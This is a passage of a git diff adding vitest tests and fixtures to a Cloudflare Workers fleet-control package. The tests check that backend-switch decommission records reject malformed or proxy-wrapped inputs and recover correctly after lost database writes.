Response.json(await finalLeaseAssertionRollback(env.DB)); case 'backend-switch-column-upgrade': return Response.json(await backendSwitchColumnUpgrade(env.DB)); + case 'bounded-backend-switch-write-step': + return Response.json( + await backendSwitchLostWriteStep( + env.DB, + body.input as { + stage: BackendSwitchLostWriteStage; + loseWrite?: boolean; + }, + ), + ); case 'decommission-intent-column-upgrade': return Response.json(await decommissionIntentColumnUpgrade(env.DB)); case 'decommission-intent-lost-response': diff --git a/packages/fleet-control/test/fixtures/wrangler-world-projection.ts b/packages/fleet-control/test/fixtures/wrangler-world-projection.ts index 51ad0673..d2d3aa7a 100644 --- a/packages/fleet-control/test/fixtures/wrangler-world-projection.ts +++ b/packages/fleet-control/test/fixtures/wrangler-world-projection.ts @@ -100,6 +100,21 @@ function json(value: unknown): CommandResult { return { stdout: JSON.stringify(value), stderr: '' }; } +function versionViewBindings(bindings: readonly unknown[]): readonly unknown[] { + return bindings.map((binding) => { + const cloned = structuredClone(binding); + if ( + !cloned || + typeof cloned !== 'object' || + Array.isArray(cloned) || + Reflect.get(cloned, 'type') !== 'secret_text' + ) { + return cloned; + } + return { name: Reflect.get(cloned, 'name'), type: 'secret_text' }; + }); +} + function success(): CommandResult { return { stdout: '', stderr: '' }; } @@ -346,7 +361,7 @@ export function cliProjection(world: ProviderWorld): CommandRunner { version.tag === undefined ? undefined : { 'workers/tag': version.tag }, - resources: { bindings: version.bindings }, + resources: { bindings: versionViewBindings(version.bindings) }, }); } if ( diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index 3630f955..5e032ac3 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -7,6 +7,7 @@ import { join } from 'node:path'; import { describe, expect, it, vi } from 'vitest'; import { ActiveRouteAttestationError } from '../src/active-route.js'; import type { + BackendSwitchProvider, BridgeMutationPlan, BridgeSnapshot, FinalizedOrdinaryStateProvider, @@ -70,7 +71,10 @@ import { effectiveLifecyclePhase } from '../src/types.js'; import { externalReleaseScriptName } from '../src/workers-for-platforms-backend.js'; import { WranglerLoopBackend } from '../src/wrangler-loop-backend.js'; import type { CommandResult, CommandRunner } from '../src/wrangler-runner.js'; -import { decommissionAdvancingRecordFixture } from './fixtures/decommission-intent-fixture.js'; +import { + backendSwitchDecommissionRecordFixture, + decommissionAdvancingRecordFixture, +} from './fixtures/decommission-intent-fixture.js'; import { memoryStore, routeApi } from './fixtures/plain-worker-port-probe.js'; import { type PlainWorkerFsControl, @@ -7335,6 +7339,81 @@ describe('fleet provisioning', () => { ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); expect(activeAudit).toHaveBeenCalledTimes(1); + const malformedNormal = await boundedDecommissionHarness(); + await startBoundedDecommission(malformedNormal); + const normalRecord = malformedNormal.store.record; + const normalIntent = normalRecord?.decommissionIntent; + if (!normalRecord || !normalIntent) { + throw new Error('normal decommission fixture lacks its active intent'); + } + const { identity: _missingIdentity, ...withoutIdentity } = normalIntent; + const { mode: _missingMode, ...identityWithoutMode } = + normalIntent.identity; + let identityGetterCalls = 0; + const accessorIntent = { ...normalIntent }; + Object.defineProperty(accessorIntent, 'identity', { + configurable: true, + enumerable: true, + get() { + identityGetterCalls += 1; + return normalIntent.identity; + }, + }); + const malformedNormalRows: readonly (readonly [string, unknown])[] = [ + ['empty shell', {}], + ['missing identity', withoutIdentity], + ['missing mode', { ...normalIntent, identity: identityWithoutMode }], + [ + 'unknown mode', + { + ...normalIntent, + identity: { ...normalIntent.identity, mode: { kind: 'future' } }, + }, + ], + ['malformed normal shell', { ...normalIntent, revision: -1 }], + ['accessor shell', accessorIntent], + ['transparent proxy shell', new Proxy(normalIntent, {})], + ]; + let normalBackendTrapCalls = 0; + const normalBackendTrap = new Proxy({} as ProvisioningBackend, { + get() { + normalBackendTrapCalls += 1; + throw new Error('malformed normal shell read the provider'); + }, + has() { + normalBackendTrapCalls += 1; + throw new Error('malformed normal shell reflected the provider'); + }, + }); + const malformedNormalAudit = vi.fn(); + for (const [label, shell] of malformedNormalRows) { + const hostileStore = new MemoryStore(); + hostileStore.record = { + ...normalRecord, + decommissionIntent: shell, + } as FleetRecord; + let failure: unknown; + try { + await decommissionDeployment({ + backend: normalBackendTrap, + store: hostileStore, + spec: malformedNormal.deployment, + audit: malformedNormalAudit, + }); + } catch (error) { + failure = error; + } + expect(failure, label).toBeInstanceOf(Error); + expect((failure as Error).name, label).toBe('Error'); + expect((failure as Error).message, label).toBe( + 'backend switch decommission record is malformed', + ); + expect(hostileStore.leaseCalls, label).toBe(0); + } + expect(identityGetterCalls).toBe(0); + expect(normalBackendTrapCalls).toBe(0); + expect(malformedNormalAudit).not.toHaveBeenCalled(); + const activeSwitch = await boundedDecommissionHarness(); activeSwitch.store.record = { ...(activeSwitch.store.record as FleetRecord), @@ -7357,9 +7436,7 @@ describe('fleet provisioning', () => { store: activeSwitch.store, spec: activeSwitch.deployment, }), - ).rejects.toThrow( - 'active backend switch decommission requires its dedicated provider and both specifications', - ); + ).rejects.toThrow('backend switch decommission record is malformed'); const race = await boundedDecommissionHarness(); const ready = race.store.record as FleetRecord; @@ -7675,4 +7752,339 @@ describe('fleet provisioning', () => { 'pendingSpecDigest', ); }); + + it('drains bounded backend-switch teardown and preserves legacy late recovery', async () => { + const harness = await boundedDecommissionHarness({ + kind: 'workers-for-platforms', + external: true, + }); + const current = harness.store.record; + if (!current?.platformTarget || !current.platformResources) { + throw new Error( + 'backend-switch wrapper fixture lacks platform authority', + ); + } + const priorSpec: DeploymentSpec = { + ...harness.deployment, + authoredBy: 'platform', + }; + const prior = { + scriptName: current.scriptName, + artifactVersion: current.artifactVersion, + specDigest: deploymentSpecDigest(priorSpec), + databaseId: current.databaseId, + databaseName: current.databaseName, + durableObjectBindings: current.durableObjectBindings, + namespaceIds: current.durableObjectBindings.map( + ({ namespaceId }) => namespaceId, + ), + secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], + application: current.applicationBindings, + applicationResources: [], + customDomain: { + id: 'domain-acme', + hostname: current.routeHostname, + }, + } as const; + const databaseExport: DatabaseExport = { + databaseId: current.databaseId, + location: 'memory://fleet-exports/backend-switch.sql', + sha256: 'f'.repeat(64), + size: 37, + }; + const decommissionSnapshot = { + prior, + restoredArtifactVersion: null, + entryPendingArtifactVersion: null, + entryPendingNamespaceIds: null, + providerTargetSpecDigest: current.desiredSpecDigest, + routeHostname: current.routeHostname, + routeTargets: [], + desiredSpecDigest: current.desiredSpecDigest, + target: current.platformTarget, + releases: [], + applicationResources: [], + } as const; + harness.store.record = backendSwitchDecommissionRecordFixture( + JSON.parse(JSON.stringify(current)) as FleetRecord, + { + kind: 'backend-switch', + tenantTag: current.tenantTag, + environment: current.environment, + prior, + targetSpecDigest: current.desiredSpecDigest, + targetApplication: current.applicationBindings ?? { + vars: [], + secrets: [], + r2Buckets: [], + }, + target: current.platformTarget, + rollbackUntil: '2026-09-30T00:00:00.000Z', + subphase: 'decommission-application-r2-removed', + applicationR2Progress: [], + decommissionSnapshot, + }, + { subphase: 'decommission-application-r2-removed' }, + ); + const audit = vi.fn(); + const providerTrap = new Proxy({} as ProvisioningBackend, { + get() { + throw new Error('terminal switch read the normal provider'); + }, + has() { + throw new Error('terminal switch reflected the normal provider'); + }, + }); + let databasePresent = true; + let scanCalls = 0; + let receiptCalls = 0; + let boundedDeleteCalls = 0; + let legacyExportCalls = 0; + let legacyDeleteCalls = 0; + const boundedProvider = { + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + async advanceSwitchDecommissionAttachmentScan() { + scanCalls += 1; + return { + status: 'complete', + evidenceSha256: 'a'.repeat(64), + evidenceCount: 2, + providerFetchAttemptsReserved: 3, + }; + }, + async exportSwitchDatabaseReceipt() { + receiptCalls += 1; + return databaseExport; + }, + async getSwitchDatabase(databaseId: string) { + return databasePresent && databaseId === current.databaseId + ? { + id: current.databaseId, + name: current.databaseName, + created: false as const, + } + : undefined; + }, + async readSwitchDatabaseOwner() { + return current.tenantTag; + }, + async assertSwitchDatabaseDeletionResidualsRemoved() {}, + async deleteSwitchDatabaseBounded() { + boundedDeleteCalls += 1; + databasePresent = false; + }, + async exportSwitchDatabase() { + legacyExportCalls += 1; + return databaseExport; + }, + async deleteSwitchDatabase() { + legacyDeleteCalls += 1; + }, + } as unknown as BackendSwitchProvider; + const activeRecord = harness.store.record as FleetRecord; + const rejectedAudit = vi.fn(); + const missingProviderStore = new MemoryStore(); + missingProviderStore.record = activeRecord; + await expect( + decommissionDeployment({ + backend: providerTrap, + store: missingProviderStore, + spec: harness.deployment, + audit: rejectedAudit, + }), + ).rejects.toThrow( + 'active backend switch decommission requires its dedicated provider and both specifications', + ); + const partialStore = new MemoryStore(); + partialStore.record = activeRecord; + await expect( + decommissionDeployment({ + backend: providerTrap, + store: partialStore, + spec: harness.deployment, + audit: rejectedAudit, + backendSwitch: { + provider: { + advanceSwitchDecommissionAttachmentScan: + boundedProvider.advanceSwitchDecommissionAttachmentScan, + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + } as unknown as BackendSwitchProvider, + priorSpec, + targetSpec: harness.deployment, + }, + }), + ).rejects.toThrow('database export receipt capability is malformed'); + expect(rejectedAudit).not.toHaveBeenCalled(); + + let backendSwitchGetterCalls = 0; + const accessorRecord = { ...activeRecord }; + Object.defineProperty(accessorRecord, 'backendSwitchIntent', { + configurable: true, + enumerable: true, + get() { + backendSwitchGetterCalls += 1; + return activeRecord.backendSwitchIntent; + }, + }); + const hidingProxy = new Proxy(activeRecord, { + ownKeys(target) { + return Reflect.ownKeys(target).filter( + (key) => key !== 'backendSwitchIntent', + ); + }, + }); + let revokeAfterResolution = () => {}; + const revoked = Proxy.revocable(activeRecord, { + get(target, property, receiver) { + if (property === 'then') { + queueMicrotask(revokeAfterResolution); + return undefined; + } + return Reflect.get(target, property, receiver); + }, + }); + revokeAfterResolution = revoked.revoke; + const { + backendSwitchIntent: _removedSwitchIntent, + ...backendShellWithoutSwitch + } = activeRecord; + const hostileRows = [ + ['accessor', accessorRecord], + ['symbol', { ...activeRecord, [Symbol('hostile')]: true }], + ['transparent proxy', new Proxy(activeRecord, {})], + ['hiding proxy', hidingProxy], + ['revoked proxy', revoked.proxy], + ['backend shell without switch', backendShellWithoutSwitch], + ] as const; + for (const [label, hostile] of hostileRows) { + const hostileStore = new MemoryStore(); + hostileStore.record = hostile as FleetRecord; + await expect( + decommissionDeployment({ + backend: providerTrap, + store: hostileStore, + spec: harness.deployment, + audit: rejectedAudit, + }), + label, + ).rejects.toThrow('backend switch decommission record is malformed'); + expect(hostileStore.leaseCalls, label).toBe(0); + } + expect(backendSwitchGetterCalls).toBe(0); + expect(scanCalls).toBe(0); + expect(receiptCalls).toBe(0); + expect(boundedDeleteCalls).toBe(0); + expect(rejectedAudit).not.toHaveBeenCalled(); + + const boundedResult = await decommissionDeployment({ + backend: providerTrap, + store: harness.store, + spec: harness.deployment, + audit, + backendSwitch: { + provider: boundedProvider, + priorSpec, + targetSpec: harness.deployment, + }, + }); + expect(boundedResult).toEqual({ + record: harness.store.record, + databaseExport, + }); + expect(audit).toHaveBeenCalledTimes(1); + expect(scanCalls).toBe(4); + expect(receiptCalls).toBe(1); + expect(boundedDeleteCalls).toBe(1); + expect(legacyExportCalls).toBe(0); + expect(legacyDeleteCalls).toBe(0); + + const auditFailure = new Error('backend-switch audit rejected'); + await expect( + decommissionDeployment({ + backend: providerTrap, + store: harness.store, + spec: harness.deployment, + audit: () => Promise.reject(auditFailure), + }), + ).rejects.toBe(auditFailure); + + const legacyStore = new MemoryStore(); + legacyStore.record = { + ...(JSON.parse(JSON.stringify(current)) as FleetRecord), + backendSwitchIntent: { + kind: 'backend-switch', + tenantTag: current.tenantTag, + environment: current.environment, + prior, + targetSpecDigest: current.desiredSpecDigest, + targetApplication: current.applicationBindings ?? { + vars: [], + secrets: [], + r2Buckets: [], + }, + target: current.platformTarget, + rollbackUntil: '2026-09-30T00:00:00.000Z', + subphase: 'decommission-exported', + databaseExport, + applicationR2Progress: [], + decommissionSnapshot: { + routeHostname: current.routeHostname, + routeTargets: [], + desiredSpecDigest: current.desiredSpecDigest, + target: current.platformTarget, + releases: [], + applicationResources: [], + }, + }, + }; + databasePresent = true; + const lateGetter = vi.fn(() => { + throw new Error('legacy late row read a bounded capability'); + }); + const legacyProvider = new Proxy(boundedProvider, { + get(target, property, receiver) { + if ( + property === 'advanceSwitchDecommissionAttachmentScan' || + property === 'databaseExportReceiptAuthority' || + property === 'exportSwitchDatabaseReceipt' + ) { + return lateGetter(); + } + return Reflect.get(target, property, receiver); + }, + }); + const legacyAudit = vi.fn(); + const legacyResult = await decommissionDeployment({ + backend: providerTrap, + store: legacyStore, + spec: harness.deployment, + audit: legacyAudit, + backendSwitch: { + provider: legacyProvider, + priorSpec, + targetSpec: harness.deployment, + }, + }); + expect(legacyResult).toEqual({ + record: legacyStore.record, + databaseExport, + }); + expect(lateGetter).not.toHaveBeenCalled(); + expect(legacyAudit).toHaveBeenCalledTimes(1); + expect(legacyExportCalls).toBe(0); + expect(legacyDeleteCalls).toBe(1); + + const malformed = harness.store.record; + harness.store.record = { + ...malformed, + backendSwitchIntent: undefined, + }; + await expect( + decommissionDeployment({ + backend: providerTrap, + store: harness.store, + spec: harness.deployment, + }), + ).rejects.toThrow('backend switch decommission record is malformed'); + }); }); diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index 5e21361c..fc0334a6 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -1025,6 +1025,79 @@ describe.sequential('D1FleetStateStore Wrangler harness', { await reset(); }); + it('replays a bounded backend-switch operation after D1 write loss', async () => { + type Stage = 'start' | 'cursor' | 'receipt' | 'barrier' | 'terminal'; + interface Result { + readonly lostWriteCount: number; + readonly phase: string; + readonly switchSubphase: string; + readonly shellState: string; + readonly shellRevision: number; + readonly lifecyclePhase: string; + readonly scanStage?: string; + readonly databaseExportLocation?: string; + readonly columnsPresent: boolean; + } + await probe<{ reset: true }>('bounded-backend-switch-write-step', { + stage: 'reset', + }); + const step = (stage: Stage, loseWrite = true) => + probe('bounded-backend-switch-write-step', { + stage, + loseWrite, + }); + + await expect(step('start')).resolves.toMatchObject({ + lostWriteCount: 1, + phase: 'decommission-advancing', + switchSubphase: 'decommission-export-authorized', + shellState: 'transitioning', + shellRevision: 0, + lifecyclePhase: 'application-resources-deleted', + columnsPresent: true, + }); + await expect(step('cursor')).resolves.toMatchObject({ + lostWriteCount: 1, + switchSubphase: 'decommission-export-authorized', + shellState: 'discover', + shellRevision: 1, + scanStage: 'ordinary-script-inventory', + columnsPresent: true, + }); + await expect(step('receipt')).resolves.toMatchObject({ + lostWriteCount: 1, + switchSubphase: 'decommission-exported', + shellState: 'transitioning', + shellRevision: 2, + lifecyclePhase: 'database-exported', + databaseExportLocation: + 'memory://fleet-exports/backend-switch/switchlost.sql', + columnsPresent: true, + }); + await expect(step('barrier')).resolves.toMatchObject({ + lostWriteCount: 1, + switchSubphase: 'decommission-database-authorized', + shellRevision: 3, + lifecyclePhase: 'database-deleting', + columnsPresent: true, + }); + await expect(step('terminal')).resolves.toMatchObject({ + lostWriteCount: 1, + phase: 'decommissioned', + switchSubphase: 'decommissioned', + shellState: 'complete', + shellRevision: 4, + lifecyclePhase: 'decommissioned', + databaseExportLocation: + 'memory://fleet-exports/backend-switch/switchlost.sql', + columnsPresent: true, + }); + + await probe<{ reset: true }>('bounded-backend-switch-write-step', { + stage: 'reset', + }); + }); + it('preserves operation, heartbeat, and release errors for both lease types', async () => { const result = await probe<{ deployment: ProbeError; diff --git a/packages/fleet-control/test/state-store.test.ts b/packages/fleet-control/test/state-store.test.ts index 1e88c2c1..3e57fefd 100644 --- a/packages/fleet-control/test/state-store.test.ts +++ b/packages/fleet-control/test/state-store.test.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import { describe, expect, it, vi } from 'vitest'; +import { backendSwitchDecommissionSnapshotDigest } from '../src/backend-switch.js'; import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js'; import { DECOMMISSION_INTENT_BYTE_BOUND } from '../src/decommission-intent.js'; import { @@ -16,6 +17,7 @@ import { } from '../src/state-store.js'; import type { FleetRecord, PlatformPlaneResourceSet } from '../src/types.js'; import { + backendSwitchDecommissionRecordFixture, type NormalDecommissionIntentFixtureOptions, normalDecommissionIntentFixture, } from './fixtures/decommission-intent-fixture.js'; @@ -513,6 +515,73 @@ function externalPolicyAndTarget(record: FleetRecord) { }; } +function backendSwitchStateRecord(): FleetRecord { + const base = decommissionBase(); + const { outboundPolicy, platformTarget } = externalPolicyAndTarget(base); + const prior = { + scriptName: base.scriptName, + artifactVersion: base.artifactVersion, + specDigest: base.desiredSpecDigest, + databaseId: base.databaseId, + databaseName: base.databaseName, + durableObjectBindings: [], + namespaceIds: [], + secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], + application: { vars: [], secrets: [], r2Buckets: [] }, + applicationResources: [], + customDomain: { id: 'domain-acme', hostname: base.routeHostname }, + } as const; + const record: FleetRecord = { + ...base, + backend: 'workers-for-platforms', + outboundPolicy, + platformTarget, + platformResources: { + maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY, + outboundPolicy, + stateWorker: { + scriptName: base.scriptName, + artifactVersion: 'bridge-v1', + artifactDigest: platformTarget.stateArtifactDigest, + plane: 'ordinary', + durableObjectBindings: [], + namespaceIds: [], + }, + egressProxy: { + scriptName: 'acme-production-egress', + artifactVersion: 'egress-v1', + artifactDigest: platformTarget.egressArtifactDigest, + ...outboundPolicy, + }, + }, + }; + const decommissionSnapshot = { + prior, + restoredArtifactVersion: null, + entryPendingArtifactVersion: null, + entryPendingNamespaceIds: null, + providerTargetSpecDigest: base.desiredSpecDigest, + routeHostname: base.routeHostname, + routeTargets: [], + desiredSpecDigest: base.desiredSpecDigest, + target: platformTarget, + releases: [], + applicationResources: [], + } as const; + return backendSwitchDecommissionRecordFixture(record, { + kind: 'backend-switch', + tenantTag: record.tenantTag, + environment: record.environment, + prior, + targetSpecDigest: record.desiredSpecDigest, + targetApplication: { vars: [], secrets: [], r2Buckets: [] }, + target: platformTarget, + rollbackUntil: '2026-09-30T00:00:00.000Z', + subphase: 'finalized', + decommissionSnapshot, + }); +} + function platformSet(workerName: string): PlatformPlaneResourceSet { return { accountId: 'account', @@ -915,11 +984,11 @@ describe('D1FleetStateStore release state', () => { await expectInvalidDecommission(store.get('acme', 'production')); db.row = persisted; - await expectInvalidDecommission( + await expect( store.withDeploymentLease('acme', 'production', (lease) => lease.put({ ...valid, decommissionIntent: undefined }), ), - ); + ).rejects.toThrow('backend switch decommission record is malformed'); for (const malformed of [null, false]) { await expectInvalidDecommission( store.withDeploymentLease('acme', 'production', (lease) => @@ -1661,4 +1730,231 @@ describe('D1FleetStateStore release state', () => { /invalid platform_resources/, ); }); + + it('persists backend-switch and decommission authorities atomically', async () => { + const record = backendSwitchStateRecord(); + const db = new LostResponseD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + + db.lose = 'exact'; + await expect( + store.withDeploymentLease(record.tenantTag, record.environment, (lease) => + lease.put(record), + ), + ).resolves.toBeUndefined(); + await expect( + store.get(record.tenantTag, record.environment), + ).resolves.toEqual(record); + expect(db.row).toMatchObject({ + phase: 'decommission-advancing', + backend_switch_intent: expect.any(String), + decommission_intent: expect.any(String), + }); + const committedRow = db.row; + const committedClaims = [...db.claims.entries()]; + const switchIntent = record.backendSwitchIntent; + if (!switchIntent) + throw new Error('backend-switch fixture lost its intent'); + const batch = vi.spyOn(db, 'batch'); + const batchCalls = batch.mock.calls.length; + let switchGetterCalls = 0; + const accessorRecord = { ...record }; + Object.defineProperty(accessorRecord, 'backendSwitchIntent', { + configurable: true, + enumerable: true, + get() { + switchGetterCalls += 1; + return switchIntent; + }, + }); + const hidingProxy = new Proxy(record, { + ownKeys(target) { + return Reflect.ownKeys(target).filter( + (key) => key !== 'backendSwitchIntent', + ); + }, + }); + const revoked = Proxy.revocable(record, {}); + revoked.revoke(); + const hostileWrites = [ + ['accessor', accessorRecord], + ['symbol', { ...record, [Symbol('hostile')]: true }], + ['transparent proxy', new Proxy(record, {})], + ['hiding proxy', hidingProxy], + ['revoked proxy', revoked.proxy], + ] as const; + for (const [label, hostile] of hostileWrites) { + await expect( + store.withDeploymentLease( + record.tenantTag, + record.environment, + (lease) => lease.put(hostile as FleetRecord), + ), + label, + ).rejects.toThrow('backend switch decommission record is malformed'); + expect(batch.mock.calls.length, label).toBe(batchCalls); + } + expect(switchGetterCalls).toBe(0); + expect(db.row).toBe(committedRow); + expect([...db.claims.entries()]).toEqual(committedClaims); + + await expect( + store.withDeploymentLease(record.tenantTag, record.environment, (lease) => + lease.put({ ...record, backendSwitchIntent: undefined }), + ), + ).rejects.toThrow('backend switch decommission record is malformed'); + await expect( + store.withDeploymentLease(record.tenantTag, record.environment, (lease) => + lease.put({ ...record, decommissionIntent: undefined }), + ), + ).rejects.toThrow('backend switch decommission record is malformed'); + const { backendSwitchIntent: _switchIntent, ...shellWithoutSwitch } = + record; + await expect( + store.withDeploymentLease(record.tenantTag, record.environment, (lease) => + lease.put(shellWithoutSwitch), + ), + ).rejects.toThrow('backend switch decommission record is malformed'); + const { outboundPolicy: _outboundPolicy, ...withoutOutboundPolicy } = + record; + await expect( + store.withDeploymentLease(record.tenantTag, record.environment, (lease) => + lease.put(withoutOutboundPolicy), + ), + ).rejects.toThrow('backend switch decommission record is malformed'); + await expect( + store.withDeploymentLease(record.tenantTag, record.environment, (lease) => + lease.put({ + ...record, + updatedAt: '2026-08-11T00:00:01.000Z', + }), + ), + ).rejects.toThrow('backend switch decommission record is malformed'); + await expect( + store.withDeploymentLease(record.tenantTag, record.environment, (lease) => + lease.put({ + ...record, + backendSwitchIntent: { + ...switchIntent, + decommissionSnapshotSha256: 'f'.repeat(64), + }, + }), + ), + ).rejects.toThrow('backend switch decommission record is malformed'); + const routeMutant = ( + mutation: 'outer-only' | 'snapshot-only' | 'outer-and-shell', + ): FleetRecord => { + const snapshot = switchIntent.decommissionSnapshot; + const shell = record.decommissionIntent; + if ( + !snapshot || + !shell || + shell.state === 'complete' || + shell.identity.mode.kind !== 'backend-switch' + ) { + throw new Error('backend-switch route fixture is incomplete'); + } + if (mutation === 'outer-only') { + return { ...record, routeHostname: 'foreign.example.test' }; + } + const changedSnapshot = { + ...snapshot, + routeHostname: 'foreign.example.test', + }; + const changedSnapshotSha256 = + backendSwitchDecommissionSnapshotDigest(changedSnapshot); + return { + ...record, + ...(mutation === 'outer-and-shell' + ? { routeHostname: 'foreign.example.test' } + : {}), + backendSwitchIntent: { + ...switchIntent, + decommissionSnapshot: changedSnapshot, + decommissionSnapshotSha256: changedSnapshotSha256, + }, + decommissionIntent: { + ...shell, + identity: { + ...shell.identity, + record: { + ...shell.identity.record, + ...(mutation === 'outer-and-shell' + ? { routeHostname: 'foreign.example.test' } + : {}), + }, + mode: { + ...shell.identity.mode, + decommissionSnapshotSha256: changedSnapshotSha256, + }, + }, + }, + }; + }; + for (const mutation of [ + 'outer-only', + 'snapshot-only', + 'outer-and-shell', + ] as const) { + await expect( + store.withDeploymentLease( + record.tenantTag, + record.environment, + (lease) => lease.put(routeMutant(mutation)), + ), + `${mutation} write`, + ).rejects.toThrow('backend switch decommission record is malformed'); + expect(batch.mock.calls.length, mutation).toBe(batchCalls); + expect(db.row, mutation).toBe(committedRow); + } + expect(db.row).toBe(committedRow); + expect([...db.claims.entries()]).toEqual(committedClaims); + + db.row = { + ...db.row, + updated_at: '2026-08-11T00:00:01.000Z', + }; + await expect( + store.get(record.tenantTag, record.environment), + ).rejects.toThrow('backend switch decommission record is malformed'); + db.row = committedRow; + + for (const mutation of [ + 'outer-only', + 'snapshot-only', + 'outer-and-shell', + ] as const) { + const mutant = routeMutant(mutation); + db.row = { + ...committedRow, + route_hostname: mutant.routeHostname, + backend_switch_intent: JSON.stringify(mutant.backendSwitchIntent), + decommission_intent: JSON.stringify(mutant.decommissionIntent), + }; + await expect( + store.get(record.tenantTag, record.environment), + `${mutation} read`, + ).rejects.toThrow('backend switch decommission record is malformed'); + } + db.row = committedRow; + + db.row = { + ...committedRow, + backend_switch_intent: null, + migration_intent: null, + }; + await expect( + store.get(record.tenantTag, record.environment), + ).rejects.toThrow('backend switch decommission record is malformed'); + db.row = committedRow; + + db.row = { + ...db.row, + migration_intent: db.row?.backend_switch_intent, + backend_switch_intent: null, + }; + await expect( + store.get(record.tenantTag, record.environment), + ).resolves.toEqual(record); + }); }); diff --git a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts index a6e676e6..8aee71de 100644 --- a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts @@ -206,9 +206,26 @@ describe('WranglerPlainWorkerProvisioningApi parsing', () => { ); }); - it('normalizes every binding branch and preserves D1 id precedence', async () => { + it('normalizes every binding branch and preserves D1 alias compatibility', async () => { const bindings = [ - { type: 'd1', name: 'DB', id: '', database_id: 'db-alias' }, + { + type: 'd1', + name: 'DB_SENTINEL', + id: '', + database_id: 'db-alias', + }, + { + type: 'd1', + name: 'DB_EQUAL', + id: 'db-equal', + database_id: 'db-equal', + }, + { + type: 'd1', + name: 'DB_CONFLICT', + id: 'db-legacy', + database_id: 'db-current', + }, { type: 'durable_object_namespace', name: 'OBJECT', @@ -235,7 +252,14 @@ describe('WranglerPlainWorkerProvisioningApi parsing', () => { versionId: undefined, tag: undefined, bindings: [ - { type: 'd1', name: 'DB', databaseId: '' }, + { type: 'd1', name: 'DB_SENTINEL', databaseId: 'db-alias' }, + { type: 'd1', name: 'DB_EQUAL', databaseId: 'db-equal' }, + { + type: 'unsupported', + name: 'DB_CONFLICT', + providerType: 'd1', + issue: 'malformed-supported-binding', + }, { type: 'durable-object', name: 'OBJECT', @@ -266,9 +290,18 @@ describe('WranglerPlainWorkerProvisioningApi parsing', () => { }, ], }); + expect( + assertSupportedPlainWorkerBindings( + viewed.bindings.slice(0, 2), + "plain Worker 'worker'", + ), + ).toEqual([ + { type: 'd1', name: 'DB_EQUAL' }, + { type: 'd1', name: 'DB_SENTINEL' }, + ]); expect(() => assertSupportedPlainWorkerBindings( - viewed.bindings.slice(0, 1), + viewed.bindings.slice(2, 3), "plain Worker 'worker'", ), ).toThrow( diff --git a/scripts/architecture-fixtures/decommission-database-imports-provider.ts b/scripts/architecture-fixtures/decommission-database-imports-provider.ts index e7fbc74b..f7aea452 100644 --- a/scripts/architecture-fixtures/decommission-database-imports-provider.ts +++ b/scripts/architecture-fixtures/decommission-database-imports-provider.ts @@ -1,2 +1,5 @@ +import type { BackendSwitchProvider } from '../../packages/fleet-control/src/backend-switch.js'; import '../../packages/fleet-control/src/cloudflare-client.js'; import '../../packages/fleet-control/src/workers-for-platforms-backend-switch-provider.js'; + +export type FixtureBackendSwitchProvider = BackendSwitchProvider; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index ac0fff71..2fe9cdbe 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -18,9 +18,14 @@ const configPath = fileURLToPath( const erasedDependencyTypes = new Set(['type-only', 'type-import']); const decommissionAdvance = 'packages/fleet-control/src/decommission-advance.ts'; +const decommissionDatabase = + 'packages/fleet-control/src/decommission-database.ts'; const backendSwitch = 'packages/fleet-control/src/backend-switch.ts'; const switchProvider = 'packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts'; +const databaseExportStore = + 'packages/fleet-control/src/database-export-store.ts'; +const strictPlainData = 'packages/fleet-control/src/strict-plain-data.ts'; function runtimeAdjacency(report) { return new Map( @@ -53,6 +58,24 @@ function reaches(adjacency, source, target) { return false; } +function reachableFrom(adjacency, source) { + const reachable = new Set(); + const pending = [...(adjacency.get(source) ?? [])]; + while (pending.length > 0) { + const current = pending.shift(); + if (current === undefined || reachable.has(current)) continue; + reachable.add(current); + pending.push(...(adjacency.get(current) ?? [])); + } + return [...reachable].sort(); +} + +function hasCycleThrough(adjacency, source) { + return (adjacency.get(source) ?? []).some((target) => + reaches(adjacency, target, source), + ); +} + const controls = { 'flowsafe-public-entry-no-agent-host': 'scripts/architecture-fixtures/public-entry-imports-agent-host.ts', @@ -85,6 +108,8 @@ const controls = { 'scripts/architecture-fixtures/decommission-advance-imports-provider.ts', 'fleet-control-decommission-database-is-provider-neutral': 'scripts/architecture-fixtures/decommission-database-imports-provider.ts', + 'fleet-control-backend-switch-does-not-reach-its-provider': + 'scripts/architecture-fixtures/decommission-database-imports-provider.ts', 'fleet-control-strict-plain-data-is-import-free': 'scripts/architecture-fixtures/decommission-state-imports-provider.ts', 'fleet-control-ports-do-not-reach-d1-adapter': @@ -106,10 +131,34 @@ test('every architecture rule has an executable positive control', () => { for (const [ruleName, fixture] of Object.entries(controls)) { test(`${ruleName} rejects its positive control`, () => { - const entries = - ruleName === 'fleet-control-decommission-advance-is-transport-neutral' - ? [fixture, decommissionAdvance] - : [fixture]; + const entries = (() => { + if ( + ruleName === 'fleet-control-decommission-advance-is-transport-neutral' + ) { + return [fixture, decommissionAdvance]; + } + if ( + ruleName === 'fleet-control-decommission-database-is-provider-neutral' + ) { + return [ + fixture, + decommissionAdvance, + decommissionDatabase, + backendSwitch, + ]; + } + if ( + ruleName === 'fleet-control-backend-switch-does-not-reach-its-provider' + ) { + return [ + fixture, 